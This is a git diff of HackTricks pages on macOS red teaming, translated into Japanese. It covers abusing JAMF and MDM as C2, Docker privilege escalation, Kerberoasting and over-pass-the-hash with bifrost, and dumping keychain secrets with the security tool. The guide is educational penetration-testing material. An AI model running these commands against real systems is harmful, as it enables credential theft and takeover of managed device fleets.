ホストマシンのルートファイルシステムをインスタンスのボリュームにマウントできます。インスタンスが起動すると、そのボリュームに`chroot`を即座にロードします。これにより、実質的にマシン上でroot権限を得ることができます。
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
# lxc/lxd Group
# lxc/lxdグループ
[lxc - Privilege Escalation](lxd-privilege-escalation.md)
<figure><img src="/images/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
[lxc - 特権昇格](lxd-privilege-escalation.md)
{{#include ../../banners/hacktricks-training.md}}

1356
src/macos-hardening/macos-auto-start-locations.md
View File

File diff suppressed because it is too large Load Diff

185
src/macos-hardening/macos-red-teaming/README.md
View File

@ -2,109 +2,97 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Abusing MDMs
## MDMの悪用
- JAMF Pro: `jamf checkJSSConnection`
- Kandji
If you manage to **compromise admin credentials** to access the management platform, you can **potentially compromise all the computers** by distributing your malware in the machines.
管理プラットフォームにアクセスするために**管理者資格情報を侵害**することができれば、マシンにマルウェアを配布することで**すべてのコンピュータを侵害する可能性があります**。
For red teaming in MacOS environments it's highly recommended to have some understanding of how the MDMs work:
MacOS環境でのレッドチーミングには、MDMの動作についての理解が非常に推奨されます：
{{#ref}}
macos-mdm/
{{#endref}}
### Using MDM as a C2
### MDMをC2として使用する
A MDM will have permission to install, query or remove profiles, install applications, create local admin accounts, set firmware password, change the FileVault key...
MDMは、プロファイルのインストール、クエリまたは削除、アプリケーションのインストール、ローカル管理者アカウントの作成、ファームウェアパスワードの設定、FileVaultキーの変更を行う権限を持っています...
In order to run your own MDM you need to **your CSR signed by a vendor** which you could try to get with [**https://mdmcert.download/**](https://mdmcert.download/). And to run your own MDM for Apple devices you could use [**MicroMDM**](https://github.com/micromdm/micromdm).
独自のMDMを実行するには、**ベンダーによって署名されたCSRが必要**で、[**https://mdmcert.download/**](https://mdmcert.download/)から取得を試みることができます。また、Appleデバイス用の独自のMDMを実行するには、[**MicroMDM**](https://github.com/micromdm/micromdm)を使用できます。
However, to install an application in an enrolled device, you still need it to be signed by a developer account... however, upon MDM enrolment the **device adds the SSL cert of the MDM as a trusted CA**, so you can now sign anything.
ただし、登録されたデバイスにアプリケーションをインストールするには、開発者アカウントによって署名されている必要があります... しかし、MDM登録時に**デバイスはMDMのSSL証明書を信頼されたCAとして追加**するため、今では何でも署名できます。
To enrol the device in a MDM you. need to install a **`mobileconfig`** file as root, which could be delivered via a **pkg** file (you could compress it in zip and when downloaded from safari it will be decompressed).
デバイスをMDMに登録するには、**`mobileconfig`**ファイルをルートとしてインストールする必要があり、これは**pkg**ファイルを介して配布できます（zipで圧縮し、Safariからダウンロードすると解凍されます）。
**Mythic agent Orthrus** uses this technique.
**Mythic agent Orthrus**はこの技術を使用しています。
### Abusing JAMF PRO
### JAMF PROの悪用
JAMF can run **custom scripts** (scripts developed by the sysadmin), **native payloads** (local account creation, set EFI password, file/process monitoring...) and **MDM** (device configurations, device certificates...).
JAMFは**カスタムスクリプト**（システム管理者によって開発されたスクリプト）、**ネイティブペイロード**（ローカルアカウントの作成、EFIパスワードの設定、ファイル/プロセスの監視...）および**MDM**（デバイスの構成、デバイス証明書...）を実行できます。
#### JAMF self-enrolment
#### JAMF自己登録
Go to a page such as `https://<company-name>.jamfcloud.com/enroll/` to see if they have **self-enrolment enabled**. If they have it might **ask for credentials to access**.
`https://<company-name>.jamfcloud.com/enroll/`のようなページにアクセスして、**自己登録が有効**かどうかを確認します。有効な場合、**アクセスするための資格情報を要求**されるかもしれません。
You could use the script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) to perform a password spraying attack.
スクリプト[**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py)を使用してパスワードスプレー攻撃を実行できます。
Moreover, after finding proper credentials you could be able to brute-force other usernames with the next form:
さらに、適切な資格情報を見つけた後、次のフォームを使用して他のユーザー名をブルートフォース攻撃できるかもしれません：
![](<../../images/image (107).png>)
#### JAMF device Authentication
#### JAMFデバイス認証
<figure><img src="../../images/image (167).png" alt=""><figcaption></figcaption></figure>
The **`jamf`** binary contained the secret to open the keychain which at the time of the discovery was **shared** among everybody and it was: **`jk23ucnq91jfu9aj`**.\
Moreover, jamf **persist** as a **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
**`jamf`**バイナリには、キーチェーンを開くための秘密が含まれており、発見時には**誰もが共有**していました。それは：**`jk23ucnq91jfu9aj`**です。\
さらに、jamfは**`/Library/LaunchAgents/com.jamf.management.agent.plist`**に**LaunchDaemon**として**持続**します。
#### JAMF Device Takeover
The **JSS** (Jamf Software Server) **URL** that **`jamf`** will use is located in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
This file basically contains the URL:
#### JAMFデバイスタケオーバー
**JSS**（Jamf Software Server）**URL**は、**`jamf`**が使用するもので、**`/Library/Preferences/com.jamfsoftware.jamf.plist`**にあります。\
このファイルには基本的にURLが含まれています：
```bash
plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
[...]
<key>is_virtual_machine</key>
<false/>
<key>jss_url</key>
<string>https://halbornasd.jamfcloud.com/</string>
<key>last_management_framework_change_id</key>
<integer>4</integer>
<key>is_virtual_machine</key>
<false/>
<key>jss_url</key>
<string>https://halbornasd.jamfcloud.com/</string>
<key>last_management_framework_change_id</key>
<integer>4</integer>
[...]
```
So, an attacker could drop a malicious package (`pkg`) that **overwrites this file** when installed setting the **URL to a Mythic C2 listener from a Typhon agent** to now be able to abuse JAMF as C2.
攻撃者は、インストール時にこのファイルを**上書きする**悪意のあるパッケージ（`pkg`）をドロップし、**TyphonエージェントからのMythic C2リスナーへのURLを設定する**ことで、JAMFをC2として悪用できるようになります。
```bash
# After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0
# TODO: There is an ID, maybe it's possible to have the real jamf connection and another one to the C2
```
#### JAMFなりすまし
#### JAMF Impersonation
デバイスとJMF間の**通信をなりすます**には、以下が必要です：
In order to **impersonate the communication** between a device and JMF you need:
- デバイスの**UUID**: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
- デバイス証明書を含む**JAMFキーチェーン**: `/Library/Application\ Support/Jamf/JAMF.keychain`
- The **UUID** of the device: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
- The **JAMF keychain** from: `/Library/Application\ Support/Jamf/JAMF.keychain` which contains the device certificate
この情報をもとに、**盗まれた**ハードウェア**UUID**を持ち、**SIPを無効にした**VMを**作成**し、**JAMFキーチェーンをドロップ**し、Jamf**エージェントをフック**してその情報を盗みます。
With this information, **create a VM** with the **stolen** Hardware **UUID** and with **SIP disabled**, drop the **JAMF keychain,** **hook** the Jamf **agent** and steal its information.
#### Secrets stealing
#### 秘密の盗難
<figure><img src="../../images/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure>
You could also monitor the location `/Library/Application Support/Jamf/tmp/` for the **custom scripts** admins might want to execute via Jamf as they are **placed here, executed and removed**. These scripts **might contain credentials**.
また、管理者がJamfを介して実行したい**カスタムスクリプト**のために、`/Library/Application Support/Jamf/tmp/`の場所を監視することもできます。これらのスクリプトは**ここに配置され、実行され、削除されます**。これらのスクリプトには**資格情報が含まれている可能性があります**。
However, **credentials** might be passed tho these scripts as **parameters**, so you would need to monitor `ps aux | grep -i jamf` (without even being root).
ただし、**資格情報**はこれらのスクリプトに**パラメータ**として渡される可能性があるため、`ps aux | grep -i jamf`を監視する必要があります（ルートでなくても）。
The script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) can listen for new files being added and new process arguments.
スクリプト[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py)は、新しいファイルが追加されたり、新しいプロセス引数が追加されたりするのをリッスンできます。
### macOS Remote Access
### macOSリモートアクセス
And also about **MacOS** "special" **network** **protocols**:
また、**MacOS**の「特別な」**ネットワーク****プロトコル**についても：
{{#ref}}
../macos-security-and-privilege-escalation/macos-protocols.md
@ -112,7 +100,7 @@ And also about **MacOS** "special" **network** **protocols**:
## Active Directory
In some occasions you will find that the **MacOS computer is connected to an AD**. In this scenario you should try to **enumerate** the active directory as you are use to it. Find some **help** in the following pages:
場合によっては、**MacOSコンピュータがADに接続されている**ことがあります。このシナリオでは、慣れているようにアクティブディレクトリを**列挙**しようとするべきです。以下のページで**ヘルプ**を見つけてください：
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
@ -126,41 +114,36 @@ In some occasions you will find that the **MacOS computer is connected to an AD*
../../network-services-pentesting/pentesting-kerberos-88/
{{#endref}}
Some **local MacOS tool** that may also help you is `dscl`:
役立つ可能性のある**ローカルMacOSツール**は`dscl`です：
```bash
dscl "/Active Directory/[Domain]/All Domains" ls /
```
また、ADを自動的に列挙し、Kerberosを操作するためにMacOS用に準備されたツールがあります：
Also there are some tools prepared for MacOS to automatically enumerate the AD and play with kerberos:
- [**Machound**](https://github.com/XMCyber/MacHound): MacHound is an extension to the Bloodhound audting tool allowing collecting and ingesting of Active Directory relationships on MacOS hosts.
- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost is an Objective-C project designed to interact with the Heimdal krb5 APIs on macOS. The goal of the project is to enable better security testing around Kerberos on macOS devices using native APIs without requiring any other framework or packages on the target.
- [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) tool to do Active Directory enumeration.
### Domain Information
- [**Machound**](https://github.com/XMCyber/MacHound): MacHoundは、MacOSホスト上のActive Directory関係を収集および取り込むことを可能にするBloodhound監査ツールの拡張です。
- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrostは、macOS上のHeimdal krb5 APIと対話するために設計されたObjective-Cプロジェクトです。このプロジェクトの目標は、ターゲットに他のフレームワークやパッケージを必要とせずに、ネイティブAPIを使用してmacOSデバイス上のKerberosに関するセキュリティテストを向上させることです。
- [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directory列挙を行うためのJavaScript for Automation (JXA)ツールです。
### ドメイン情報
```bash
echo show com.apple.opendirectoryd.ActiveDirectory | scutil
```
### ユーザー
### Users
MacOSのユーザーには3種類があります：
The three types of MacOS users are:
- **ローカルユーザー** — ローカルOpenDirectoryサービスによって管理され、Active Directoryとは一切接続されていません。
- **ネットワークユーザー** — 認証のためにDCサーバーへの接続を必要とする揮発性のActive Directoryユーザーです。
- **モバイルユーザー** — 認証情報とファイルのローカルバックアップを持つActive Directoryユーザーです。
- **Local Users** — Managed by the local OpenDirectory service, they aren’t connected in any way to the Active Directory.
- **Network Users** — Volatile Active Directory users who require a connection to the DC server to authenticate.
- **Mobile Users** — Active Directory users with a local backup for their credentials and files.
ユーザーとグループに関するローカル情報は、フォルダー _/var/db/dslocal/nodes/Default._ に保存されています。\
例えば、_mark_ というユーザーに関する情報は _/var/db/dslocal/nodes/Default/users/mark.plist_ に保存されており、_admin_ グループに関する情報は _/var/db/dslocal/nodes/Default/groups/admin.plist_ にあります。
The local information about users and groups is stored in in the folder _/var/db/dslocal/nodes/Default._\
For example, the info about user called _mark_ is stored in _/var/db/dslocal/nodes/Default/users/mark.plist_ and the info about the group _admin_ is in _/var/db/dslocal/nodes/Default/groups/admin.plist_.
In addition to using the HasSession and AdminTo edges, **MacHound adds three new edges** to the Bloodhound database:
- **CanSSH** - entity allowed to SSH to host
- **CanVNC** - entity allowed to VNC to host
- **CanAE** - entity allowed to execute AppleEvent scripts on host
HasSessionおよびAdminToエッジを使用することに加えて、**MacHoundはBloodhoundデータベースに3つの新しいエッジを追加します**：
- **CanSSH** - ホストにSSH接続を許可されたエンティティ
- **CanVNC** - ホストにVNC接続を許可されたエンティティ
- **CanAE** - ホスト上でAppleEventスクリプトを実行することを許可されたエンティティ
```bash
#User enumeration
dscl . ls /Users
@ -182,71 +165,60 @@ dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]"
#Domain Information
dsconfigad -show
```
[https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
More info in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
### Computer$ password
Get passwords using:
### Computer$ パスワード
次の方法でパスワードを取得します:
```bash
bifrost --action askhash --username [name] --password [password] --domain [domain]
```
It's possible to access the **`Computer$`** password inside the System keychain.
**`Computer$`** パスワードにシステムキーチェーン内でアクセスすることが可能です。
### Over-Pass-The-Hash
Get a TGT for an specific user and service:
特定のユーザーとサービスのためにTGTを取得します：
```bash
bifrost --action asktgt --username [user] --domain [domain.com] \
--hash [hash] --enctype [enctype] --keytab [/path/to/keytab]
--hash [hash] --enctype [enctype] --keytab [/path/to/keytab]
```
Once the TGT is gathered, it's possible to inject it in the current session with:
TGTが収集されると、次のコマンドで現在のセッションに注入することが可能です：
```bash
bifrost --action asktgt --username test_lab_admin \
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
--enctype aes256 --domain test.lab.local
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
--enctype aes256 --domain test.lab.local
```
### Kerberoasting
```bash
bifrost --action asktgs --spn [service] --domain [domain.com] \
--username [user] --hash [hash] --enctype [enctype]
--username [user] --hash [hash] --enctype [enctype]
```
With obtained service tickets it's possible to try to access shares in other computers:
取得したサービスチケットを使用して、他のコンピュータの共有にアクセスしようとすることが可能です：
```bash
smbutil view //computer.fqdn
mount -t smbfs //server/folder /local/mount/point
```
## キーチェーンへのアクセス
## Accessing the Keychain
The Keychain highly probably contains sensitive information that if accessed without generating a prompt could help to move forward a red team exercise:
キーチェーンには、プロンプトを生成せずにアクセスされた場合、レッドチーム演習を進めるのに役立つ可能性のある機密情報が含まれている可能性が高いです：
{{#ref}}
macos-keychain.md
{{#endref}}
## External Services
## 外部サービス
MacOS Red Teaming is different from a regular Windows Red Teaming as usually **MacOS is integrated with several external platforms directly**. A common configuration of MacOS is to access to the computer using **OneLogin synchronised credentials, and accessing several external services** (like github, aws...) via OneLogin.
MacOSのレッドチーミングは、通常**MacOSがいくつかの外部プラットフォームと直接統合されている**ため、通常のWindowsレッドチーミングとは異なります。MacOSの一般的な構成は、**OneLoginで同期された資格情報を使用してコンピュータにアクセスし、OneLoginを介していくつかの外部サービス**（github、awsなど）にアクセスすることです。
## Misc Red Team techniques
## その他のレッドチーム技術
### Safari
When a file is downloaded in Safari, if its a "safe" file, it will be **automatically opened**. So for example, if you **download a zip**, it will be automatically decompressed:
Safariでファイルがダウンロードされると、それが「安全な」ファイルであれば、**自動的に開かれます**。例えば、**zipファイルをダウンロード**すると、自動的に解凍されます：
<figure><img src="../../images/image (226).png" alt=""><figcaption></figcaption></figure>
## References
## 参考文献
- [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E)
- [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
@ -254,12 +226,5 @@ When a file is downloaded in Safari, if its a "safe" file, it will be **automati
- [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
- [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../../banners/hacktricks-training.md}}

138
src/macos-hardening/macos-red-teaming/macos-keychain.md
View File

@ -4,60 +4,59 @@
## Main Keychains
- The **User Keychain** (`~/Library/Keychains/login.keychain-db`), which is used to store **user-specific credentials** like application passwords, internet passwords, user-generated certificates, network passwords, and user-generated public/private keys.
- The **System Keychain** (`/Library/Keychains/System.keychain`), which stores **system-wide credentials** such as WiFi passwords, system root certificates, system private keys, and system application passwords.
- It's possible to find other components like certificates in `/System/Library/Keychains/*`
- In **iOS** there is only one **Keychain** located in `/private/var/Keychains/`. This folder also contains databases for the `TrustStore`, certificates authorities (`caissuercache`) and OSCP entries (`ocspache`).
- Apps will be restricted in the keychain only to their private area based on their application identifier.
- **ユーザーキーチェーン** (`~/Library/Keychains/login.keychain-db`) は、アプリケーションパスワード、インターネットパスワード、ユーザー生成の証明書、ネットワークパスワード、ユーザー生成の公開/秘密鍵などの**ユーザー固有の資格情報**を保存するために使用されます。
- **システムキーチェーン** (`/Library/Keychains/System.keychain`) は、WiFiパスワード、システムルート証明書、システム秘密鍵、システムアプリケーションパスワードなどの**システム全体の資格情報**を保存します。
- `/System/Library/Keychains/*` には、証明書などの他のコンポーネントを見つけることができます。
- **iOS** には、 `/private/var/Keychains/` にある1つの**キーチェーン**のみがあります。このフォルダーには、`TrustStore`、証明書機関（`caissuercache`）、およびOSCPエントリ（`ocspache`）のデータベースも含まれています。
- アプリは、アプリケーション識別子に基づいてキーチェーン内のプライベートエリアにのみ制限されます。
### Password Keychain Access
### パスワードキーチェーンアクセス
These files, while they do not have inherent protection and can be **downloaded**, are encrypted and require the **user's plaintext password to be decrypted**. A tool like [**Chainbreaker**](https://github.com/n0fate/chainbreaker) could be used for decryption.
これらのファイルは固有の保護がなく、**ダウンロード**可能ですが、暗号化されており、**復号化するためにユーザーの平文パスワードが必要**です。復号化には、[**Chainbreaker**](https://github.com/n0fate/chainbreaker) のようなツールが使用できます。
## Keychain Entries Protections
## キーチェーンエントリの保護
### ACLs
Each entry in the keychain is governed by **Access Control Lists (ACLs)** which dictate who can perform various actions on the keychain entry, including:
キーチェーン内の各エントリは、さまざまなアクションを実行できる人を規定する**アクセス制御リスト（ACLs）**によって管理されています。これには以下が含まれます：
- **ACLAuhtorizationExportClear**: Allows the holder to get the clear text of the secret.
- **ACLAuhtorizationExportWrapped**: Allows the holder to get the clear text encrypted with another provided password.
- **ACLAuhtorizationAny**: Allows the holder to perform any action.
- **ACLAuhtorizationExportClear**: 秘密のクリアテキストを取得することを許可します。
- **ACLAuhtorizationExportWrapped**: 他の提供されたパスワードで暗号化されたクリアテキストを取得することを許可します。
- **ACLAuhtorizationAny**: すべてのアクションを実行することを許可します。
The ACLs are further accompanied by a **list of trusted applications** that can perform these actions without prompting. This could be:
ACLは、これらのアクションをプロンプトなしで実行できる**信頼されたアプリケーションのリスト**を伴います。これには以下が含まれます：
- **N`il`** (no authorization required, **everyone is trusted**)
- An **empty** list (**nobody** is trusted)
- **List** of specific **applications**.
- **N`il`**（認証不要、**すべての人が信頼されている**）
- **空の**リスト（**誰も**信頼されていない）
- **特定の**アプリケーションの**リスト**。
Also the entry might contain the key **`ACLAuthorizationPartitionID`,** which is use to identify the **teamid, apple,** and **cdhash.**
また、エントリには**`ACLAuthorizationPartitionID`**というキーが含まれている場合があり、これは**teamid、apple、**および**cdhash**を識別するために使用されます。
- If the **teamid** is specified, then in order to **access the entry** value **withuot** a **prompt** the used application must have the **same teamid**.
- If the **apple** is specified, then the app needs to be **signed** by **Apple**.
- If the **cdhash** is indicated, then **app** must have the specific **cdhash**.
- **teamid**が指定されている場合、**プロンプトなしで**エントリの値に**アクセスする**には、使用されるアプリケーションが**同じteamid**を持っている必要があります。
- **apple**が指定されている場合、アプリは**Apple**によって**署名されている**必要があります。
- **cdhash**が示されている場合、**アプリ**は特定の**cdhash**を持っている必要があります。
### Creating a Keychain Entry
### キーチェーンエントリの作成
When a **new** **entry** is created using **`Keychain Access.app`**, the following rules apply:
**`Keychain Access.app`**を使用して**新しい**エントリが作成されると、以下のルールが適用されます：
- All apps can encrypt.
- **No apps** can export/decrypt (without prompting the user).
- All apps can see the integrity check.
- No apps can change ACLs.
- The **partitionID** is set to **`apple`**.
- すべてのアプリが暗号化できます。
- **アプリは**エクスポート/復号化できません（ユーザーにプロンプトなしで）。
- すべてのアプリが整合性チェックを確認できます。
- アプリはACLを変更できません。
- **partitionID**は**`apple`**に設定されます。
When an **application creates an entry in the keychain**, the rules are slightly different:
アプリケーションがキーチェーンにエントリを作成する場合、ルールは少し異なります：
- All apps can encrypt.
- Only the **creating application** (or any other apps explicitly added) can export/decrypt (without prompting the user).
- All apps can see the integrity check.
- No apps can change the ACLs.
- The **partitionID** is set to **`teamid:[teamID here]`**.
- すべてのアプリが暗号化できます。
- **作成アプリケーション**（または明示的に追加された他のアプリ）のみがエクスポート/復号化できます（ユーザーにプロンプトなしで）。
- すべてのアプリが整合性チェックを確認できます。
- アプリはACLを変更できません。
- **partitionID**は**`teamid:[teamID here]`**に設定されます。
## Accessing the Keychain
## キーチェーンへのアクセス
### `security`
```bash
# List keychains
security list-keychains
@ -74,58 +73,57 @@ security set-generic-password-parition-list -s "test service" -a "test acount" -
# Dump specifically the user keychain
security dump-keychain ~/Library/Keychains/login.keychain-db
```
### APIs
> [!TIP]
> The **keychain enumeration and dumping** of secrets that **won't generate a prompt** can be done with the tool [**LockSmith**](https://github.com/its-a-feature/LockSmith)
> **キーチェーンの列挙と秘密のダンプ**は、**プロンプトを生成しない**ものについては、ツール[**LockSmith**](https://github.com/its-a-feature/LockSmith)を使用して行うことができます。
>
> Other API endpoints can be found in [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html) source code.
> 他のAPIエンドポイントは、[**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html)のソースコードで見つけることができます。
List and get **info** about each keychain entry using the **Security Framework** or you could also check the Apple's open source cli tool [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**.** Some API examples:
**Security Framework**を使用して各キーチェーンエントリの**情報**をリストおよび取得することができます。また、AppleのオープンソースCLIツール[**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**を確認することもできます。** 一部のAPIの例：
- The API **`SecItemCopyMatching`** gives info about each entry and there are some attributes you can set when using it:
- **`kSecReturnData`**: If true, it will try to decrypt the data (set to false to avoid potential pop-ups)
- **`kSecReturnRef`**: Get also reference to keychain item (set to true in case later you see you can decrypt without pop-up)
- **`kSecReturnAttributes`**: Get metadata about entries
- **`kSecMatchLimit`**: How many results to return
- **`kSecClass`**: What kind of keychain entry
- API **`SecItemCopyMatching`**は各エントリに関する情報を提供し、使用時に設定できる属性があります：
- **`kSecReturnData`**: trueの場合、データの復号を試みます（ポップアップを避けるためにfalseに設定）
- **`kSecReturnRef`**: キーチェーンアイテムへの参照も取得（後でポップアップなしで復号できることがわかった場合はtrueに設定）
- **`kSecReturnAttributes`**: エントリに関するメタデータを取得
- **`kSecMatchLimit`**: 返す結果の数
- **`kSecClass`**: どの種類のキーチェーンエントリか
Get **ACLs** of each entry:
各エントリの**ACL**を取得：
- With the API **`SecAccessCopyACLList`** you can get the **ACL for the keychain item**, and it will return a list of ACLs (like `ACLAuhtorizationExportClear` and the others previously mentioned) where each list has:
- Description
- **Trusted Application List**. This could be:
- An app: /Applications/Slack.app
- A binary: /usr/libexec/airportd
- A group: group://AirPort
- API **`SecAccessCopyACLList`**を使用すると、**キーチェーンアイテムのACL**を取得でき、各リストには以下が含まれます：
- 説明
- **信頼されたアプリケーションリスト**。これには以下が含まれる可能性があります：
- アプリ: /Applications/Slack.app
- バイナリ: /usr/libexec/airportd
- グループ: group://AirPort
Export the data:
データをエクスポート：
- The API **`SecKeychainItemCopyContent`** gets the plaintext
- The API **`SecItemExport`** exports the keys and certificates but might have to set passwords to export the content encrypted
- API **`SecKeychainItemCopyContent`**はプレーンテキストを取得します
- API **`SecItemExport`**はキーと証明書をエクスポートしますが、コンテンツを暗号化してエクスポートするためにパスワードを設定する必要があるかもしれません
And these are the **requirements** to be able to **export a secret without a prompt**:
そして、**プロンプトなしで秘密をエクスポートするための要件**は以下の通りです：
- If **1+ trusted** apps listed:
- Need the appropriate **authorizations** (**`Nil`**, or be **part** of the allowed list of apps in the authorization to access the secret info)
- Need code signature to match **PartitionID**
- Need code signature to match that of one **trusted app** (or be a member of the right KeychainAccessGroup)
- If **all applications trusted**:
- Need the appropriate **authorizations**
- Need code signature to match **PartitionID**
- If **no PartitionID**, then this isn't needed
- **1つ以上の信頼された**アプリがリストされている場合：
- 適切な**認可**が必要です（**`Nil`**、または秘密情報にアクセスするための認可リストに**含まれている**必要があります）
- コード署名が**PartitionID**と一致する必要があります
- コード署名が1つの**信頼されたアプリ**のものと一致する必要があります（または正しいKeychainAccessGroupのメンバーである必要があります）
- **すべてのアプリケーションが信頼されている**場合：
- 適切な**認可**が必要です
- コード署名が**PartitionID**と一致する必要があります
- **PartitionID**がない場合、これは必要ありません
> [!CAUTION]
> Therefore, if there is **1 application listed**, you need to **inject code in that application**.
> したがって、**1つのアプリケーションがリストされている**場合、そのアプリケーションに**コードを注入する**必要があります。
>
> If **apple** is indicated in the **partitionID**, you could access it with **`osascript`** so anything that is trusting all applications with apple in the partitionID. **`Python`** could also be used for this.
> **apple**が**partitionID**に示されている場合、**`osascript`**を使用してアクセスできるため、partitionIDにappleを含むすべてのアプリケーションを信頼することができます。**`Python`**もこれに使用できます。
### Two additional attributes
### 2つの追加属性
- **Invisible**: It's a boolean flag to **hide** the entry from the **UI** Keychain app
- **General**: It's to store **metadata** (so it's NOT ENCRYPTED)
- Microsoft was storing in plain text all the refresh tokens to access sensitive endpoint.
- **Invisible**: UIキーチェーンアプリからエントリを**隠す**ためのブールフラグです
- **General**: **メタデータ**を保存するためのもので（したがって、暗号化されていません）
- Microsoftは、機密エンドポイントにアクセスするためのすべてのリフレッシュトークンをプレーンテキストで保存していました。
## References

256
src/macos-hardening/macos-red-teaming/macos-mdm/README.md
View File

@ -2,199 +2,199 @@
{{#include ../../../banners/hacktricks-training.md}}
**To learn about macOS MDMs check:**
**macOS MDMについて学ぶには、次を確認してください:**
- [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU)
- [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)
## Basics
## 基本
### **MDM (Mobile Device Management) Overview**
### **MDM (モバイルデバイス管理) 概要**
[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) is utilized for overseeing various end-user devices like smartphones, laptops, and tablets. Particularly for Apple's platforms (iOS, macOS, tvOS), it involves a set of specialized features, APIs, and practices. The operation of MDM hinges on a compatible MDM server, which is either commercially available or open-source, and must support the [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Key points include:
[モバイルデバイス管理](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) は、スマートフォン、ラップトップ、タブレットなどのさまざまなエンドユーザーデバイスを監視するために利用されます。特にAppleのプラットフォーム（iOS、macOS、tvOS）においては、一連の専門的な機能、API、および実践が含まれます。MDMの運用は、商業的に入手可能またはオープンソースの互換性のあるMDMサーバーに依存し、[MDMプロトコル](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)をサポートする必要があります。主なポイントは以下の通りです：
- Centralized control over devices.
- Dependence on an MDM server that adheres to the MDM protocol.
- Capability of the MDM server to dispatch various commands to devices, for instance, remote data erasure or configuration installation.
- デバイスの集中管理。
- MDMプロトコルに準拠したMDMサーバーへの依存。
- MDMサーバーがデバイスにさまざまなコマンドを送信できる能力、例えば、リモートデータ消去や設定インストールなど。
### **Basics of DEP (Device Enrollment Program)**
### **DEP (デバイス登録プログラム) の基本**
The [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) offered by Apple streamlines the integration of Mobile Device Management (MDM) by facilitating zero-touch configuration for iOS, macOS, and tvOS devices. DEP automates the enrollment process, allowing devices to be operational right out of the box, with minimal user or administrative intervention. Essential aspects include:
Appleが提供する[デバイス登録プログラム](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) は、iOS、macOS、tvOSデバイスのモバイルデバイス管理（MDM）を簡素化し、ゼロタッチ構成を可能にします。DEPは登録プロセスを自動化し、デバイスが箱から出してすぐに動作可能になり、最小限のユーザーまたは管理者の介入で済むようにします。重要な側面は以下の通りです：
